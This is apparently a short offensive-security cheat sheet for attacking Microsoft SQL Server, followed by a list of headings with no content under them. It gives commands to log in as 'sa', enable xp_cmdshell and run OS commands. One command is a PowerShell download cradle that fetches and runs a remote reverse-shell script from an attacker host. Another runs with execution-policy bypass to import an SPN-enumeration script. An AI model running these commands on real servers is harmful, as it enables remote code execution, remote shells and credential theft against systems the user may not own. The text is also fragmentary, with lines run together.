MSSQL
Login to MSSQL Server with SQSH
sqsh -S $IP -U sa -P <password>
> EXEC SP_CONFIGURE 'show advanced options',1;reconfigure
> EXEC SP_CONFIGURE 'xp_cmdshell',1;reconfigure
> xp_cmdshell "whoami"
> go> xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://10.10.x.y/reverse.ps1')"
> gopowershell -exec bypass
# import module
. .\GetUserSPN.ps1Do you have a valid creds?
Enumeration for PrivEsc
Do you have access to the machine with mssql?
Using PowerUpSQL
Capturing the NTLM Hash
MSSQL Read File
RCE with MSSQL
There is Azure AD and DCSync?
Check Ability to Impersonate User
Last updated